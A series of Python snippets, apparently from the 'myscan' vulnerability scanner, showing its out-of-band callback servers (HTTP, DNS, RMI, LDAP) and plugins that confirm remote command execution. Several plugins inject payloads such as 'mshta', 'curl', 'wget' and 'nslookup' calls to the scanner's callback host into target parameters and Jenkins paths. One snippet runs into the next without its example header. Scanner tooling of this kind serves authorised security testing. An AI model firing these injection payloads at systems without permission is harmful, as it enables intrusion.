Example #1
0
def reverse_start():
    try:
        secret_key = reverse_set.get("secret_key")
        if not secret_key:
            secret_key = get_random_str(9)
        logger.info("Reverse http server: http://{}:{} secret_key: {}".format(reverse_set.get("reverse_http_ip"),
                                                                              reverse_set.get("reverse_http_port"),
                                                                              secret_key))
        logger.info("Reverse dns server: {}".format(reverse_set.get("reverse_domain")))
        logger.info("Reverse rmi server: {}:{}".format(reverse_set.get("reverse_rmi_ip"),reverse_set.get("reverse_rmi_port")))

        init_db()
        try:
            p = Process(target=http_start,args=(secret_key,))
            p.daemon = True
            p.start()
            p1 = Process(target=rmi_start)
            p1.daemon = True
            p1.start()
            dns_start()
        except KeyboardInterrupt as ex:
            logger.warning("Ctrl+C was pressed ,aborted program")
    except Exception as ex:
        logger.warning("Start reverse get error:{}".format(ex))
        sys.exit()
Example #2
0
def query_reverse(payload, sleep=True):
    '''
    return list : (result:bool,result_data:list)
    '''
    if sleep:
        time.sleep(int(reverse_set.get("sleep", 5)))
    for _ in range(3):
        try:
            r = requests.get("http://{}:{}/search?query={}&key={}".format(
                reverse_set.get("reverse_http_ip"),
                reverse_set.get("reverse_http_port"), payload,
                reverse_set.get("secret_key")),
                             timeout=5)
            res = r.json()
            if res.get("total") > 0:
                return True, res
            else:
                return False, res

        except Exception as ex:
            logger.debug(
                "Get result from reverse http server error:{}".format(ex) +
                "May be your network can't connect to {}".format(
                    reverse_set.get("reverse_http_ip")))
            continue
    return False, []
Example #3
0
def check_reverse():
    ver = platform.system()
    dns_random_str = "myscan_dnstest_" + get_random_str(10)
    http_random_str = "myscan_httptest_" + get_random_str(10)
    domain = "{}.{}".format(dns_random_str, reverse_set.get("reverse_domain"))
    url = "http://{}:{}/?d={}".format(reverse_set.get("reverse_http_ip"),
                                      reverse_set.get("reverse_http_port"),
                                      http_random_str)
    logger.info(
        "Will exec ping ,nslookup,mshta,curl,wget to test server , it will take around 20s"
    )
    if ver.lower() == "windows":
        cmd = "ping -n 2 {}>nul & nslookup {} >nul & mshta {}".format(
            domain, domain, url)
    else:
        cmd = "ping -c 2 {} 2>&1 >/dev/null & nslookup {} 2>&1 >/dev/null & curl {} 2>&1 >/dev/null & wget {} --output-document=/dev/null".format(
            domain, domain, url, url)
    logger.info("Start exec cmd:{}".format(cmd))
    run_cmd(cmd)
    res_http = query_reverse(http_random_str)
    res_dns = query_reverse(domain, False)
    # 此处需添加rmi 服务的检测代码,需本地模拟一个rmi的client

    if res_http[0]:
        logger.critical("Client connect http reverse server: Success")
    else:
        logger.warning("Client connect http reverse server: Fail")
    if res_dns[0]:
        logger.critical("Client connect dns reverse server: Success")
    else:
        logger.warning("Client disconnect dns reverse server: Fail")
Example #4
0
def main():
    max_conn = 200
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ip_port = ("0.0.0.0", int(reverse_set.get("reverse_rmi_port")))
    sock.bind(ip_port)
    sock.listen(200)
    logger.info("RMI listen: 0.0.0.0:{}".format(
        int(reverse_set.get("reverse_rmi_port"))))
    while True:
        client, address = sock.accept()
        thread = threading.Thread(target=rmi_response, args=(client, address))
        thread.setDaemon(True)
        thread.start()
Example #5
0
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # ip=reverse_set.get("reverse_rmi_ip")
    ip = "0.0.0.0"  # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。
    ip_port = (ip, int(reverse_set.get("reverse_rmi_port")))
    sock.bind(ip_port)
    sock.listen(200)
    logger.info("RMI listen: {}:{}".format(
        ip, int(reverse_set.get("reverse_rmi_port"))))
    while True:
        client, address = sock.accept()
        thread = threading.Thread(target=rmi_response, args=(client, address))
        thread.setDaemon(True)
        thread.start()
    def verify(self):
        # 根据config.py 配置的深度,限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return

        reverse_urls, reverse_data = generate_reverse_payloads(self.name)
        _, dns_data = generate(self.name, "dns")

        tasks = []
        for reverse_url in reverse_urls:
            for cmd in [reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data)]:
                for path in ["", "securityRealm/user/admin/"]:
                    tasks.append((cmd, path))
        mythread(self.run, list(set(tasks)))

        sleep = True
        for hexdata in [reverse_data, dns_data]:
            query_res, _ = query_reverse(hexdata, sleep)
            sleep = False
            if query_res:
                parser_ = dictdata_parser(self.dictdata)
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "others:": "{} in dnslog".format(hexdata),
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
                break
Example #7
0
    def verify(self):
        if self.dictdata.get("url").get("extension") not in "":
            return
        if not self.can_output(self.parse.getrootpath() +
                               self.name):  # 限定只输出一次
            return
        self.parse = dictdata_parser(self.dictdata)

        reqs = []
        params = self.dictdata.get("request").get("params").get("params_url")

        # body为urlencode类型
        if self.dictdata.get("request").get(
                "content_type") == 1:  # data数据类型为urlencode
            params += self.dictdata.get("request").get("params").get(
                "params_body")

        # gen,payload 具体参数自己慢慢测试吧,没标定是那个参数
        cmds = []
        payloads_, hexdata = generate_reverse_payloads(self.name)
        _, dnshexdata = generate_reverse_payloads(self.name, "dns")
        for payload in payloads_:
            cmds.append(payload)
            cmds.append(
                payload.replace(reverse_set.get("reverse_http_ip"),
                                dnshexdata))

        for param in params:
            for cmd in cmds:
                for payload, func in self.payloads:
                    payload = payload % (func(cmd))
                    req = self.parse.getreqfromparam(param, "a", payload,
                                                     False)
                    reqs.append(req)
        # send it

        mythread(self.send, reqs)

        # query
        sleep = True
        for hexdata in [hexdata, dnshexdata]:
            query_res, _ = query_reverse(hexdata, sleep)
            sleep = False
            if query_res:
                self.result.append({
                    "name": self.name,
                    "url": self.parse.getrootpath(),
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "others:": "{} in dnslog".format(hexdata),
                        "request": self.parse.getrequestraw(),
                        "response": self.parse.getresponseraw()
                    }
                })
                self.can_output(self.parse.getrootpath() + self.name, True)
                break
Example #8
0
def generate_reverse_payloads(urlpath, type="http"):
    '''
    urlpath: string or bytes, url's path or others you wanto paste infos,don't contains url args ,it will to longs ,like http://www.test.com/admin/login
    type : string ,accept http,dns,rmi
    return ([cmd1,cmd2],payload)
    '''
    # if "?" in urlpath:
    #     urlpath = urlpath.split("?", 1)[0]

    if isinstance(urlpath, str):
        urlpath = urlpath.encode()

    payloads = {
        "http": ["mshta {url}", "curl {url}", "wget {url}"],
        "dns":
        ["ping -n 2 {domain}", "ping -c 2 {domain}"
         "nslookup {domain}"],
        "rmi": ["rmi://{}:{}/{}"],
    }
    reverse_payloads = []
    hexdata = ""
    if type == "http":
        hexdata = get_random_str(4).lower() + binascii.b2a_hex(
            urlpath).decode()
        for payload in payloads["http"]:
            reverse_payloads.append(
                payload.format(url="http://{}:{}/?d={}".format(
                    reverse_set.get("reverse_http_ip"),
                    reverse_set.get("reverse_http_port"), hexdata)))
    elif type == "dns":
        hexdata = getrealdnsdata(urlpath)
        for payload in payloads["dns"]:
            reverse_payloads.append(payload.format(domain=hexdata))
    elif type == "rmi":
        hexdata = get_random_str(4).lower() + binascii.b2a_hex(
            urlpath).decode()
        for payload in payloads["rmi"]:
            reverse_payloads.append(
                payload.format(reverse_set.get("reverse_rmi_ip"),
                               reverse_set.get("reverse_rmi_port"), hexdata))

    return (reverse_payloads, hexdata)
Example #9
0
def decode_dns(dnslog):
    res = ""
    try:
        dnslog = dnslog[4:]
        dnslog = dnslog.replace("." + reverse_set.get("reverse_domain"), "")
        dnslog = "".join(dnslog.split("."))
        res = binascii.a2b_hex(dnslog.encode()).decode()
    except binascii.Error as ex:
        pass
    except Exception as ex:
        logger.warning('decode dns get error:{}'.format(ex))
    return res
Example #10
0
def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # ip=reverse_set.get("reverse_ldap_ip")
    ip = "0.0.0.0"  # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。
    port = int(reverse_set.get("reverse_ldap_port"))
    sock.bind((ip, port))
    sock.listen(200)
    while True:
        client, address = sock.accept()
        thread = threading.Thread(target=ldap_response, args=(client, address))
        thread.setDaemon(True)
        thread.start()
Example #11
0
def generate(urlpath, type="http"):
    if isinstance(urlpath, str):
        urlpath = urlpath.encode()

    if type == "dns":
        hexdata = getrealdnsdata(urlpath)
        return None, hexdata  # will like None,rvzf74657374.log.evilhex.top
    elif type == "http":
        '''
        参数携带,根目录下的d参数,如/?d=asdadadffa,通过asdadadffa可查询。
        '''
        hexdata = get_random_str(4).lower() + binascii.b2a_hex(
            urlpath).decode()
        '''
        return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd
        '''
        return "http://{}:{}/?d={}".format(
            reverse_set.get("reverse_http_ip"),
            reverse_set.get("reverse_http_port"), hexdata), hexdata
    elif type == "http2":
        '''
        路径携带,必须以myscan_开头,如 /myscan_oaldj2n.xml ,这样的路径才会入库,通过myscan_oaldj2n.xml可查询。
        '''
        hexdata = "myscan_" + get_random_str(4).lower() + urlpath.decode()
        '''
        return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd
        '''
        return "http://{}:{}/{}".format(reverse_set.get("reverse_http_ip"),
                                        reverse_set.get("reverse_http_port"),
                                        hexdata), hexdata
    elif type == "rmi":
        hexdata = get_random_str(4).lower() + binascii.b2a_hex(
            urlpath).decode()
        '''
        return like:rmi://1.1.1.1:999/test,test
        '''
        return "rmi://{}:{}/{}".format(reverse_set.get("reverse_rmi_ip"),
                                       reverse_set.get("reverse_rmi_port"),
                                       hexdata), hexdata
    elif type == "ldap":
        hexdata = get_random_str(4).lower() + binascii.b2a_hex(
            urlpath).decode()
        '''
       return like:ldap://1.1.1.1:999/test,test
       '''
        return "ldap://{}:{}/{}".format(reverse_set.get("reverse_ldap_ip"),
                                        reverse_set.get("reverse_ldap_port"),
                                        hexdata), hexdata
Example #12
0
def getrealdnsdata(urlpath):
    '''
        domain :like x.y.z ,x,y,z length should be < 64, and total length (x.y.z) <255
       '''
    data = ""
    for x in range(len(urlpath), 1, -1):
        hexdata = binascii.b2a_hex(bytearray(urlpath)[0:x]).decode()
        data = get_random_str(4).lower() + ".".join(cut_text(
            hexdata, 55)) + "." + reverse_set.get("reverse_domain")
        if len(data) > 250:
            continue
        else:
            break
    return data
Example #13
0
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        conn = self.request[1]
        query_name = dns.getname()
        # A record
        if dns.query.type == 1:
            response = ip_address if query_name.endswith(
                reverse_set.get("reverse_domain")) else None
            if response:
                dns.setip(response)
                log_format = {
                    'client_ip': self.client_address[0],
                    'client_port': self.client_address[1],
                    'query': query_name,
                    'record-type': 'A',
                    'response': response
                }
                conn.sendto(dns.getbytes(), self.client_address)
                res = {}
                res["type"] = "dns"
                res["client"] = self.client_address[0]
                res["query"] = query_name
                res["info"] = decode_dns(query_name)
                res["time"] = time.strftime('%Y-%m-%d %H:%M:%S',
                                            time.localtime(time.time()))
                logger.info("Insert to db:" + str(res))
                insert_db(res)

        # # AAAA record
        # elif dns.query.type == 28:
        #     response = ip_address if query_name.endswith(reverse_set.get("reverse_domain")) else None
        #     if response:
        #         dns.setip(response)
        #         conn.sendto(dns.getbytes(), self.client_address)
        #         log_format = {'client_ip': self.client_address[0], 'client_port': self.client_address[1],
        #                       'query': query_name, 'record-type': 'AAAA', 'response': response}
        #         res = {}
        #         res["type"] = "dns"
        #         res["client"] = self.client_address[0]
        #         res["query"] = query_name
        #         res["info"] = ""
        #         res["time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))
        #         logger.info(str(res))
        else:
            dns.setip(ip_address)
            conn.sendto(dns.getbytes(), self.client_address)
Example #14
0
    def verify(self):
        # 限定一下目录深度,reverse还是严格点
        if self.url.count("/") != 3:
            return

        reverse_urls, reverse_data = generate_reverse_payloads(self.name)
        # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls)
        _, dns_data = generate(self.name, "dns")

        tasks = []
        for reverse_url in reverse_urls:
            for cmd in [
                    reverse_url,
                    reverse_url.replace(reverse_set.get("reverse_http_ip", ""),
                                        dns_data)
            ]:
                tasks.append(cmd)
        mythread(self.run, tasks)

        sleep = True
        for hexdata in [reverse_data, dns_data]:
            query_res, _ = query_reverse(hexdata, sleep)
            sleep = False
            if query_res:
                parser_ = dictdata_parser(self.dictdata)
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "others:": "{} in dnslog".format(hexdata),
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
                break
Example #15
0
def connect_db():
    return sqlite3.connect(reverse_set.get("db_file"))
Example #16
0
def http_start(secret_key):
    app.config["secret_key"] = secret_key
    port = int(reverse_set.get("reverse_http_port"))
    app.run(host='0.0.0.0', port=port)
Example #17
0
def http_start(secret_key):
    app.config["secret_key"] = secret_key
    # ip = int(reverse_set.get("reverse_http_ip"))
    ip = "0.0.0.0"  # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。
    port = int(reverse_set.get("reverse_http_port"))
    app.run(host=ip, port=port)